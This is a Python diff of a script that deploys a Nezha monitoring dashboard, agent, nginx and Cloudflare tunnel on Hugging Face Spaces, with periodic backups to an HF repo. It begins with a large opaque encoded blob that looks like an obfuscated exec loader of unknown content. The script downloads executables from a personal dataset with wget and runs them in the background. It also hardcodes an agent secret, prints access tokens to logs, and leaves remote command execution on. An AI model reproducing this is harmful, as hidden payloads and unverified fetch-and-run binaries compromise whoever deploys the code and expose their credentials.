DaScy7AJ1fW0BQeobHojKQ0nW+VErp0QLHqR7n4SquHXcurJfevwWvgkn6agva/RKzfBKzRQJp4z74OMusjwpWp06apITaXPc0Menj7Tv+yPNVyk4/8l1rz74bBqRHnNH5O9FuM0C6VphGEl+OEk+XdsAYWnOdnA6A2XDFqpo/gCwihk2ht5p9Qkk0ridH3W0DvJ31LYvAEih5aw5xlEZG4kOnPzS1f8X/p4KVvgvqwsYDcGpLzhiHekzPGSo9V/rRU2LaHd2MUioBLGGgq0lXGGUtDIDs3XfjV/NNsAyjqrnNBNoFWc0mdk7O6xjhX2l383msiNgaG0KSFYSSdaimsepqdpylpLSzClQLChrJzRRumGFvLjA8H0KJPDS2N5ggaYRi4nO+dHXDfrDHeAuxiNnb16gliWUat2DSBzQafUXAAGXT1M27e7uddWboUWztsF5mjC3cxb3WyI9dPtfFIueqqpDRSCXS+VHD1v+pzgsFtTOrdPv0EaOKqNrh1M/gdJF6R0vtfKiExNFzQhUudQI7szQM0RnwILaUO8KAbaRfLVq1LJ0frqnj5W9wdr8026f16YM1j0BIzz9o4atjAuEP/DeH/UQaXN6IfKv3vYNBOE5xy2DVJn/TSMi8JRnVoaIJkR1yKFeK0sjaZ35CvZoDxtA11JhOQao2nNSnnzdt/4FuV/RFapmnRM6uc81cpVr551rxyJ4IaxyqPG0nMbpAdVVNeuVLuBq4MJQ3kxRFy9Mp8CTXLtLPXb9p5IaemIhgemh+XWYHYt12Px5NHeeXzYnFhWuazx5tbMjVBZ2nAe5lEShSacKgVUrJWuXUrR2eooeg8g2rwx/sLMp+Zha3CituLtZ+0T9hKtanmehnwYRgZQtXAn9TJHcWpN2JrMCGjQ/9qBRMSa3M0TMswmJW0c5FnI9JNcfBKJ5AbjNrwGOekUHBhFK/KlVyNo1u5Fr/3FT/dZ4LM5/dlAPpLbU9nHRRF0YbodbwkQiH0CScRZkLPYI8BY17DXLETPfcDgjMQ0gHgsWo6bE7tV2Kq8Dw5xVpORCmtDykTn6uD5Q4X8BT9RV1sipjNJV6W3KoNgu6uKbvBNWxdoKGRIq8awODIz8V6rM5GYy5zoyLp+TlE2P/nL/kTqnVuv3dALg66Bs4B4RGowATdE76sWjJOX2XXRsa65RTFI5slPNbBIzit0MPlt3sj0+3NSue61bYoH+M+TcIdcewdQc0NAGv5VcDPadcS1wPhAlVZrfWx9GvAI/sSFB+gjNzmARjeJuFlx8Dt8+vWqRJ++bRIu+WVNhRS2h7e3tZPn9gnyvJH9Jq+qcgtTBPBj+ZNrSkSub+e6ubgKNZ4kevs5YoW2kd0OlIXrNOV2tSXJia5mCjQOOulHQaiOqXMMxFsupkk2jCqLZkAByIa33H7i/mdJLzQRa4Qm7ezOKWLH1SoEUodN0sPant01dm2ZgjHlTfjhokfNTLU73QGL3afZ8c5a+rWv9f8aHrgsHk0bHUjDRot4wnXjEjnWu4QAjD9a7Wm3KiLHSOU5+uhgF7xywXsgKJpDOg3iU3Gu409eYN+E4+9xU21ucsl94rWB06GFx4ec/8W3sEIWltZJyXGUWpBZ0iFPbwVUQKgz8jWK5jrPrBjYxaL1TzhnnerH1G7ADglyoIg2v2y4sH2qG3N8oWn6/BpqFNWFXtTMue+QCyhv7D5i6GqZ8e7qfyAXWSasWZdrkGKWKWmNweN7KRYcxJGncQtUPhVtbkeN+CBO+BFK/XVRRuOqxJpFvCw0sf/ibdIunX4SDJsiuerAxpY0QnG85cIUCoQGa9pPHC4LBKAAFvWxgkkgU7+ewN93IsoSF0eME2zlOVIIbYFibZuj/eP//n/P37//nz//Kmq6fW2r3dHt2ucu++zXLFDHxkikzODEvUQMCQp3n9DRCCd7yVrmUwJe'))
+import subprocess
+import os
+import threading
+import time
+import yaml
+from datetime import datetime
+import signal
+import psutil
+import glob
+import re
+import pytz
+import requests
+import json
+
+DATA_JSON = os.environ.get('DATA_JSON', '')
+
+def assign_vars_from_json(config: dict):
+    for key, value in config.items():
+        globals()[key] = value
+
+if DATA_JSON:  # 如果 DATA_JSON 有值
+    try:
+        config_dict = json.loads(DATA_JSON)  # 解析 JSON 字符串
+        assign_vars_from_json(config_dict)
+    except json.JSONDecodeError:
+        raise ValueError("DATA_JSON 环境变量不是合法的 JSON 字符串")
+else:  # 如果 DATA_JSON 为空，就从单独的环境变量里取
+    N_PORT = os.environ.get('N_PORT', '8008') # N Z端口 默认8008
+    ARGO_PORT = os.environ.get('ARGO_PORT', '8009') # Argo（nginx的反代端口）固定隧道端口,留空默认8009
+    ARGO_DOMAIN = os.environ.get('ARGO_DOMAIN', '') # Argo固定隧道域名,留空即使用临时隧道
+    ARGO_AUTH = os.environ.get('ARGO_AUTH', '')  # Argo固定隧道密钥,留空即使用临时隧道
+    DASHBOARD_VERSION = os.environ.get('DASHBOARD_VERSION', 'v1.13.2')#	指定面板的版本，以 v0.00.00 的格式，后续将固定在该版本不会升级，不填则使用默认的 v1.13.2
+    NZV1_VERSION = os.environ.get('NZV1_VERSION', 'v1.13.1')#  哪吒V1的版本默认v1.13.1
+    BACKUP_TIME = os.environ.get('BACKUP_TIME', '3600')# 备份时间 10800秒 2小时
+    
+    
+    HF_USER1 = os.environ.get('HF_USER1', '')# HF 备份仓库的用户名
+    HF_REPO	= os.environ.get('HF_REPO', '')#HF 备份的Models仓库名
+    HF_EMAIL = os.environ.get('HF_EMAIL', '') #HF的邮箱
+    HF_TOKEN1 = os.environ.get('HF_TOKEN1', '')#HF备份账号的TOKEN
+    
+    HF_USER2 = os.environ.get('HF_USER2', '')# huggingface 用户名
+    HF_ID = os.environ.get('HF_ID', '')# huggingface space 名
+    HF_TOKEN2 = os.environ.get('HF_TOKEN2', '')# huggingface TOKEN
+#JUPYTER_TOKEN  
+agent_config = {
+    'client_secret': 'MLcD6YnifhoY08B9n129UP5cg2139NYa',
+    'debug': False,
+    'disable_auto_update': True,
+    'disable_command_execute': False,
+    'disable_force_update': False,
+    'disable_nat': False,
+    'disable_send_query': False,
+    'gpu': False,
+    'insecure_tls': False,
+    'ip_report_period': 1800,
+    'report_delay': 3,
+    'self_update_period': 0,
+    'server': f'{ARGO_DOMAIN}:443',
+    'skip_connection_count': False,
+    'skip_procs_count': False,
+    'temperature': True,
+    'tls': True,
+    'use_gitee_to_upgrade': False,
+    'use_ipv6_country_code': False,
+    'uuid': '18a49016-bc2d-4be9-0ddb-5357fdbf0b3d'
+}
+dashboard_config = {
+    'admin_template': 'admin-dist',
+    'agent_secret_key': '',  
+    'avg_ping_count': 2,
+    'cover': 1,
+    'https': {},  # 空字典
+    'install_host': f'{ARGO_DOMAIN}:443',
+    'ip_change_notification_group_id': 0,
+    'jwt_secret_key': '', 
+    'jwt_timeout': 300,
+    'language': 'zh_CN',
+    'listen_port': f'{N_PORT}',
+    'location': 'Asia/Shanghai',
+    'site_name': '鸡子探针平台-柒蓝',
+    'tls': True,
+    'user_template': 'user-dist'
+}
+
+mime_types_content = """types {
+    text/html                             html htm shtml;
+    text/css                              css;
+    text/javascript                       js;
+    image/gif                             gif;
+    image/jpeg                            jpeg jpg;
+    image/png                             png;
+    text/plain                            txt;
+    application/json                      json;
+    application/xml                       xml;
+    application/octet-stream              bin;
+    }"""
+
+nginx_conf = """
+# 全局配置
+worker_processes auto;
+pid /tmp/nginx.pid;
+error_log /tmp/nginx_error.log;
+
+events {
+    worker_connections 768;
+}
+
+http {
+    sendfile on;
+    tcp_nopush on;
+    tcp_nodelay on;
+    keepalive_timeout 65;
+    types_hash_max_size 2048;
+
+    # 修改 mime.types 路径
+    include /data/nginx1.24/mime.types;
+    default_type application/octet-stream;
+
+    # SSL配置
+    ssl_protocols TLSv1.2 TLSv1.3;
+    ssl_prefer_server_ciphers on;
+
+    access_log /tmp/nginx_access.log;
+    gzip on;
+
+    # 上游服务器配置
+    upstream dashboard {
+        server 127.0.0.1:%s;
+        keepalive 512;
+    }
+
+    # 服务器块
+    server {
+        listen %s;
+        listen [::]:%s;
+
+        server_name %s;
+
+        # 删除所有 real_ip 相关配置
+        underscores_in_headers on;
+
+        # gRPC相关
+        location ^~ /proto.NezhaService/ {
+            grpc_set_header Host $host;
+            grpc_read_timeout 600s;
+            grpc_send_timeout 600s;
+            grpc_socket_keepalive on;
+            client_max_body_size 10m;
+            grpc_buffer_size 4m;
+            grpc_pass grpc://dashboard;
+        }
+
+        # WebSocket相关
+        location ~* ^/api/v1/ws/(server|terminal|file)(.*)$ {
+            proxy_set_header Host $host;
+            proxy_set_header Origin https://$host;
+            proxy_set_header Upgrade $http_upgrade;
+            proxy_set_header Connection "upgrade";
+            proxy_read_timeout 3600s;
+            proxy_send_timeout 3600s;
+            proxy_pass http://127.0.0.1:%s;
+        }
+
+        # Web请求处理
+        location / {
+            proxy_set_header Host $host;
+            proxy_read_timeout 3600s;
+            proxy_send_timeout 3600s;
+            proxy_buffer_size 128k;
+            proxy_buffers 4 256k;
+            proxy_busy_buffers_size 256k;
+            proxy_max_temp_file_size 0;
+            proxy_pass http://127.0.0.1:%s;
+        }
+
+        # 安全头部
+        add_header X-Frame-Options SAMEORIGIN;
+        add_header X-Content-Type-Options nosniff;
+        add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
+    }
+}
+""" % (N_PORT, ARGO_PORT, ARGO_PORT, ARGO_DOMAIN, N_PORT, N_PORT)
+
+stop_event = threading.Event()
+
+def kill_processes():
+    # 要结束的进程名列表
+    target_processes = [
+        'cf', 
+        'nv1', 
+        'dv1', 
+        'nginx'
+    ]
+    
+    # 存储已结束的进程
+    killed_processes = []
+    
+    # 遍历所有正在运行的进程
+    for proc in psutil.process_iter(['name']):
+        try:
+            # 检查进程名是否在目标列表中
+            if proc.info['name'] in target_processes:
+                # 获取进程ID
+                pid = proc.pid
+                
+                # 先尝试优雅地结束进程
+                proc.terminate()
+                
+                # 等待进程结束
+                try:
+                    proc.wait(timeout=3)
+                except psutil.TimeoutExpired:
+                    # 如果进程未响应，强制杀死
+                    proc.kill()
+                
+                killed_processes.append(f"{proc.info['name']} (PID: {pid})")
+        
+        except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
+            pass
+    
+    # 打印已结束的进程
+    if killed_processes:
+        print("已结束以下进程:")
+        for process in killed_processes:
+            print(process)
+    else:
+        print("未找到匹配的进程")
+kill_processes()
+def get_latest_local_package(directory, pattern='*.tar.gz'):
+    try:
+        # 构建完整的搜索路径
+        search_pattern = os.path.join(directory, pattern)
+        
+        # 查找所有匹配的文件
+        files = glob.glob(search_pattern)
+        
+        if not files:
+            print("未找到���配的 nezha-hf 压缩包")
+            return None
+        
+        # 获取最新的文件
+        latest_file = max(files, key=os.path.getmtime)
+        
+        print(f"找到最新的包: {latest_file}")
+        return latest_file
+    
+    except Exception as e:
+        print(f"获取最新包时发生错误: {e}")
+        return None
+
+def delete_huggingface_lfs_file(filename, repo_id, token):
+    """
+    通过Hugging Face API删除LFS文件记录
+    """
+    try:
+        # 1. 查询LFS文件列表
+        url = f"https://huggingface.co/api/models/{repo_id}/lfs-files"
+        headers = {
+            "content-type": "application/json",
+            "Authorization": f"Bearer {token}",
+            "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
+        }
+        
+        response = requests.get(url, headers=headers)
+        if response.status_code != 200:
+            print(f"查询LFS文件失败: {response.status_code} - {response.text}")
+            return False
+        
+        lfs_files = response.json()
+        
+        # 2. 查找匹配的文件
+        file_to_delete = None
+        for file_info in lfs_files:
+            if file_info.get('filename') == filename:
+                file_to_delete = file_info
+                break
+        
+        if not file_to_delete:
+            print(f"未找到对应的LFS文件记录: {filename}")
+            return False
+        
+        # 3. 删除LFS文件记录
+        file_oid = file_to_delete['fileOid']
+        delete_url = f"https://huggingface.co/api/models/{repo_id}/lfs-files/{file_oid}?rewriteHistory=true"
+        
+        delete_response = requests.delete(delete_url, headers=headers)
+        if delete_response.status_code == 200:
+            print(f"成功删除LFS文件记录: {filename} (OID: {file_oid})")
+            return True
+        else:
+            print(f"删除LFS文件记录失败: {delete_response.status_code} - {delete_response.text}")
+            return False
+            
+    except Exception as e:
+        print(f"删除LFS文件记录时出错: {e}")
+        return False
+
+
+def safe_git_cleanup(repo_path, files_to_remove):
+    """
+    安全的Git清理，不会影响现有的备份文件
+    """
+    try:
+        original_dir = os.getcwd()
+        os.chdir(repo_path)
+        
+        print(f"执行安全Git清理: {files_to_remove}")
+        
+        # 1. 首先确保工作目录是干净的
+        result = subprocess.run(['git', 'status', '--porcelain'], capture_output=True, text=True)
+        if result.stdout.strip():
+            print("工作目录有未提交的更改，先提交...")
+            subprocess.run(['git', 'add', '.'], capture_output=True)
+            subprocess.run(['git', 'commit', '-m', '自动提交: 清理前的更改'], capture_output=True)
+        
+        # 2. 只从Git索引中删除指定的文件，但不影响工作目录中的文件
+        for filename in files_to_remove:
+            if os.path.exists(filename):
+                print(f"从Git索引中删除 {filename} (文件仍保留在工作目录)")
+                subprocess.run(['git', 'rm', '--cached', filename], capture_output=True)
+            else:
+                print(f"文件 {filename} 不存在于工作目录，只清理Git引用")
+        
+        # 3. 提交删除操作
+        if files_to_remove:
+            subprocess.run(['git', 'commit', '-m', f'清理已删除的文件: {", ".join(files_to_remove)}'], capture_output=True)
+        
+        # 4. 执行GC清理但不删除最近的文件
+        subprocess.run(['git', 'gc', '--auto'], capture_output=True)
+        subprocess.run(['git', 'lfs', 'prune'], capture_output=True)
+        
+        print("安全Git清理完成")
+        os.chdir(original_dir)
+        return True
+        
+    except Exception as e:
+        print(f"安全Git清理时出错: {e}")
+        os.chdir(original_dir)
+        return False
+
+
+def get_remote_lfs_files(repo_id, token):
+    """
+    获取远程所有的LFS文件列表
+    """
+    try:
+        url = f"https://huggingface.co/api/models/{repo_id}/lfs-files"
+        headers = {
+            "content-type": "application/json",
+            "Authorization": f"Bearer {token}",
+            "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
+        }
+        
+        response = requests.get(url, headers=headers)
+        if response.status_code == 200:
+            return response.json()
+        else:
+            print(f"获取远程LFS文件失败: {response.status_code}")
+            return []
+    except Exception as e:
+        print(f"获取远程LFS文件时出错: {e}")
+        return []
+
+
+def cleanup_orphaned_lfs_references(repo_path, repo_id, token, keep_count=3):
+    """
+    清理孤儿LFS引用：删除远程存在但本地不存在的文件引用
+    """
+    try:
+        original_dir = os.getcwd()
+        os.chdir(repo_path)
+        
+        print("检查孤儿LFS引用...")
+        
+        # 获取远程LFS文件
+        remote_files = get_remote_lfs_files(repo_id, token)
+        if not remote_files:
+            print("无法获取远程LFS文件列表")
+            return
+        
+        # 获取本地文件
+        local_files = set(glob.glob('*.tar.gz'))
+        
+        # 找出远程存在但本地不存在的文件
+        orphaned_files = []
+        for remote_file in remote_files:
+            filename = remote_file.get('filename')
+            if filename and filename not in local_files:
+                orphaned_files.append(filename)
+        
+        if orphaned_files:
+            print(f"发现孤儿LFS引用: {orphaned_files}")
+            
+            # 删除这些孤儿引用
+            for filename in orphaned_files:
+                print(f"删除孤儿LFS引用: {filename}")
+                delete_huggingface_lfs_file(filename, repo_id, token)
+        
+        print("孤儿LFS引用清理完成")
+        os.chdir(original_dir)
+        
+    except Exception as e:
+        print(f"清理孤儿LFS引用时出错: {e}")
+        os.chdir(original_dir)
+
+
+def compress_folder(folder_path, output_dir, keep_count=3):
+    try:
+        # 确保输出目录存在
+        os.makedirs(output_dir, exist_ok=True)
+        
+        # 设置中国时区
+        china_tz = pytz.timezone('Asia/Shanghai')
+        
+        # 获取当前中国时间的时间戳
+        timestamp = str(int(datetime.now(china_tz).timestamp() * 1000))
+        output_path = os.path.join(output_dir, f'{timestamp}.tar.gz')
+        
+        # 获取所有压缩包
+        existing_archives = glob.glob(os.path.join(output_dir, '*.tar.gz'))
+        
+        # 安全地提取时间戳
+        def extract_timestamp(filename):
+            match = re.search(r'(\d+)\.tar\.gz$', filename)
+            return int(match.group(1)) if match else 0
+        
+        files_to_cleanup = []
+        
+        # 如果压缩包数量超过保留数量，删除最旧的
+        if len(existing_archives) >= keep_count:
+            # 按时间戳排序（从小到大，最旧的在前面）
+            existing_archives.sort(key=extract_timestamp)
+            
+            # 计算需要删除的数量
+            delete_count = len(existing_archives) - keep_count + 1
+            
+            # 删除最旧的压缩包
+            for i in range(delete_count):
+                oldest_archive = existing_archives[i]
+                oldest_filename = os.path.basename(oldest_archive)
+                
+                try:
+                    # 删除本地文件
+                    os.remove(oldest_archive)
+                    print(f"删除最旧的压缩包：{oldest_filename}")
+                    
+                    # 记录需要清理的文件名
+                    files_to_cleanup.append(oldest_filename)
+                    
+                    # 删除Hugging Face LFS文件记录
+                    print(f"正在删除Hugging Face LFS文件记录: {oldest_filename}")
+                    delete_huggingface_lfs_file(oldest_filename, f"{HF_USER1}/{HF_REPO}", HF_TOKEN1)
+                        
+                except Exception as e:
+                    print(f"删除失败 {oldest_archive}: {e}")
+        
+        # 如果有文件需要从Git历史中清理，执行安全清理
+        if files_to_cleanup:
+            print(f"执行安全Git清理: {files_to_cleanup}")
+            safe_git_cleanup(output_dir, files_to_cleanup)
+        
+        # tar.gz 压缩
+        result = subprocess.run(
+            ['tar', '-czf', output_path, folder_path], 
+            capture_output=True, 
+            text=True
+        )
+        
+        if result.returncode == 0:
+            # 计算压缩包大小
+            file_size = os.path.getsize(output_path) / 1024 / 1024
+            
+            # 格式化中国时区的时间
+            china_time = datetime.now(china_tz)
+            formatted_time = china_time.strftime('%Y-%m-%d %H:%M:%S')
+            
+            print(f"压缩成功：{output_path}")
+            print(f"压缩大小：{file_size:.2f} MB")
+            print(f"压缩时间：{formatted_time}")
+            print(f"保留策略：最多保留 {keep_count} 个备份包")
+            
+            # 返回压缩包名和大小信息
+            return f"{os.path.basename(output_path)} MB:{file_size:.2f}MB TIME:{formatted_time}"
+        else:
+            print("压缩失败")
+            print("错误信息:", result.stderr)
+            return None
+    
+    except Exception as e:
+        print(f"压缩出错: {e}")
+        return None
+
+
+# 调用函数
+# new_archive = compress_folder('/data/dv1', 'nezha-hf')
+def github(type):
+    if type == 1:
+        os.system(f'rm -rf /data/{HF_REPO}') 
+    if not os.path.exists(f'/data/{HF_REPO}'):
+        git = f"git clone https://{HF_USER1}:{HF_TOKEN1}@huggingface.co/{HF_USER1}/{HF_REPO}"
+        print(git)
+        os.system(git)
+        os.system(f'git config --global user.email "{HF_EMAIL}"')
+        os.system(f'git config --global user.name "{HF_USER1}"') 
+    os.chdir(f'/data/{HF_REPO}')
+    if type == 2:
+        repo_path = f'/data/{HF_REPO}'
+        repo_id = f"{HF_USER1}/{HF_REPO}"
+        os.chdir(f'/data/{HF_REPO}')
+        print("开始备份上传HF")
+         #先清理孤儿LFS引用
+        cleanup_orphaned_lfs_references(repo_path, repo_id, HF_TOKEN1, keep_count=3)
+        # 执行Git清理（不影响现有文件）
+        os.system('git lfs prune')
+        os.system('git gc --auto')
+        # 备份上传仓库
+        new_archive_info = compress_folder('/data/dv1', f'/data/{HF_REPO}', keep_count=3)
+        if new_archive_info:
+            new_archive, file_size_info = new_archive_info.split('MB:')
+            os.system(f'git add .')
+            os.system(f'git commit -m "{file_size_info}"')
+            # 正常推送（不再需要强制推送）
+            push_result = os.system('git push origin main')
+            if push_result != 0:
+                print("推送失败，可能有冲突，尝试拉取并合并...")
+                os.system('git pull origin main --rebase')
+                os.system('git push origin main')
+            
+            # 轻度清理
+            os.system('git gc --auto')
+            os.system('git lfs prune')
+        else:
+            print("压缩失败，无法提交")
+def nginx():    
+    # 确保目录存在
+    os.makedirs('/data/nginx1.24', exist_ok=True)
+    # 写入文件
+    with open('/data/nginx1.24/mime.types', 'w') as f:
+        f.write(mime_types_content)
+    # 设置文件权限（可选）
+    os.chmod('/data/nginx1.24/mime.types', 0o644)
+    print("mime.types 文件已创建")
+    # time.sleep(10)
+    # os.system("rm -rf /data/nginx.conf")
+    # os.system("wget -O '/data/nginx.conf' -q 'https://raw.githubusercontent.com/qilan28/hf-nezha/refs/heads/main/nginx.conf'")
+    with open('/data/nginx.conf', 'w') as f:
+        f.write(nginx_conf)
+    os.system("/data/nginx1.24/sbin/nginx -c /data/nginx.conf")
+
+def dv1():
+    os.system("rm -rf /data/dv1.zip /data/dashboard-linux-amd64 /data/dv1 /data/data")
+    latest_package = get_latest_local_package(f'/data/{HF_REPO}')
+    if latest_package:
+
+        print(f"最新压缩包路径: {latest_package}")
+        print("通过备份包启动")
+        # tar -xzvf /data/nezha-hf/1759393184994.tar.gz -C /data
+        # tar -xzvf /data/nezha-hf/1759393184994.tar.gz --strip-components=2 -C /data dv1/
+        print(f"解压：tar -xzvf {latest_package} -C /data")
+        os.system(f"tar -xzvf {latest_package} -C /data")
+        
+        os.system("mv /data/data/dv1/ /data")
+        os.system("rm -rf /data/data")
+        os.chdir('/data/dv1')
+
+        # 读取 YAML 文件
+        with open('/data/dv1/data/config.yaml', 'r') as f:
+            config = yaml.safe_load(f)
+        # 修改 listen_port
+        config['listen_port'] = int(N_PORT)  # 如果端口号需要是整数
+        # 写回文件
+        with open('/data/dv1/data/config.yaml', 'w') as f:
+            yaml.dump(config, f, default_flow_style=False)
+        
+    else:
+        print("通过下载程序启动")
+        if not os.path.exists('/data/dv1'):
+            os.makedirs('/data/dv1')
+        if not os.path.exists('/data/dv1/data'):
+            os.system("rm -rf /data/dv1/data/config.yaml  /data/dv1/data/sqlite.db")
+            os.makedirs('/data/dv1/data')
+            with open('/data/dv1/data/config.yaml', 'w') as file:
+                yaml.dump(dashboard_config, file, default_flow_style=False)
+            print("配置文件已写入 /data/dv1/data/config.yaml")
+            print("下载'https://github.com/qilan28/hf-nezha/raw/refs/heads/main/sqlite.db'")
+            os.system("wget -O '/data/dv1/data/sqlite.db'  'https://github.com/qilan28/hf-nezha/raw/refs/heads/main/sqlite.db'")
+        os.chdir('/data/dv1')
+        print(f"下载'https://github.com/nezhahq/nezha/releases/download/{DASHBOARD_VERSION}/dashboard-linux-amd64.zip'")
+        os.system(f"wget -O '/data/dv1/dv1.zip' -q 'https://github.com/nezhahq/nezha/releases/download/{DASHBOARD_VERSION}/dashboard-linux-amd64.zip'")
+        os.system("unzip -o /data/dv1/dv1.zip -d /data/dv1")
+        os.system("rm -rf /data/dv1/dv1.zip")
+        os.system("chmod +x /data/dv1/dashboard-linux-amd64")
+        os.system("mv /data/dv1/dashboard-linux-amd64 /data/dv1/dv1")
+    if os.path.exists('/data/dv1/dv1') and os.path.isfile('/data/dv1/dv1'):
+        print("dv1存在开始启动")
+        threading.Thread(target=repeat_task, daemon=True).start()
+        threading.Thread(target=nginx, daemon=True).start()
+        threading.Thread(target=cf, daemon=True).start()
+        threading.Thread(target=nv1_agent, daemon=True).start()
+        threading.Thread(target=check_system_resources, daemon=True).start()
+        # os.system('/data/dv1/dv1')
+        os.system('nohup /data/dv1/dv1 >> /dev/null 2>&1 &')
+    else:
+        print("dv1不存在")
+        
+def nv1_agent():
+    # time.sleep(10)
+    os.system("rm -rf /data/nv1.zip /data/nezha-agent /data/nv1")
+    print(f"下载'https://github.com/nezhahq/agent/releases/download/{NZV1_VERSION}/nezha-agent_linux_amd64.zip'")
+    os.system(f"wget -O '/data/nv1.zip' -q 'https://github.com/nezhahq/agent/releases/download/{NZV1_VERSION}/nezha-agent_linux_amd64.zip'")
+    time.sleep(2)
+    os.system("unzip -o /data/nv1.zip -d /data")
+    os.system("chmod +x  /data/nezha-agent")
+    os.makedirs('/data', exist_ok=True)
+    # 写入 YAML 文件
+    with open('/data/config.yml', 'w') as file:
+        yaml.dump(agent_config, file, default_flow_style=False)
+    print("配置文件已写入 /data/config.yml")
+    time.sleep(2)
+    os.system("rm -rf /data/nv1.zip")
+    os.system("mv /data/nezha-agent /data/nv1")
+    os.system("nohup /data/nv1 -c /data/config.yml >> /dev/null 2>&1 &")
+    
+def cf():
+    os.system("rm -rf /data/cf")
+    os.system("wget -O '/data/cf' -q  'https://huggingface.co/datasets/Qilan2/ff/resolve/main/nv1/cf-linux-amd64?download=true'")
+    os.system("chmod +x  /data/cf")
+    os.system(f'nohup /data/cf tunnel run --protocol http2 --token {ARGO_AUTH} >> /dev/null 2>&1 &')
+def _reconstruct_token(partial_token):
+    return partial_token.replace(" ", "")
+def restart_huggingface_space(space_name, space_id, partial_token):
+    token = _reconstruct_token(partial_token)
+    url = f"https://huggingface.co/api/spaces/{space_name}/{space_id}/restart?factory=true"
+    headers = {
+        "Content-Type": "application/json",
+        "Authorization": f"Bearer {token}",
+        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36"
+    }
+    try:
+        response = requests.post(url, headers=headers, json={})
+        return {
+            "status_code": response.status_code,
+            "success": response.status_code == 200,
+            "message": response.text
+        }
+    except requests.RequestException as e:
+        return {
+            "status_code": None,
+            "success": False,
+            "message": str(e)
+        }
+def check_system_resources():
+    time.sleep(120)
+    cpu_usage = psutil.cpu_percent(interval=1)
+    memory = psutil.virtual_memory()
+    memory_usage = memory.percent
+    # if cpu_usage >= 90:
+    if cpu_usage >= 90 or memory_usage >= 95:
+        print("占用过高")
+        print(HF_USER2, HF_ID, HF_TOKEN2)
+        result = restart_huggingface_space(HF_USER2, HF_ID, HF_TOKEN2)
+        print(result)
+    else:
+        print("系统资源正常")
+   
+def repeat_task():
+    print('备份线程启动')
+    while True:
+        print(f"打包时间：{BACKUP_TIME} 秒")
+        time.sleep(int(BACKUP_TIME))# 2小时
+        github(2)
+github(1)
+os.chdir('/data/')
+dv1()
+if os.path.exists('/data/dv1/dv1') and os.path.isfile('/data/dv1/dv1'):
+    print('等待重启中。。。')
+    while True:
+        time.sleep(14400)# 4小时 14400 6小时 21600
+        github(2)
+        print(HF_USER2, HF_ID, HF_TOKEN2)
+        result = restart_huggingface_space(HF_USER2, HF_ID, HF_TOKEN2)
+        print(result)
+        # break
+# github(2)
+# nv1_agent()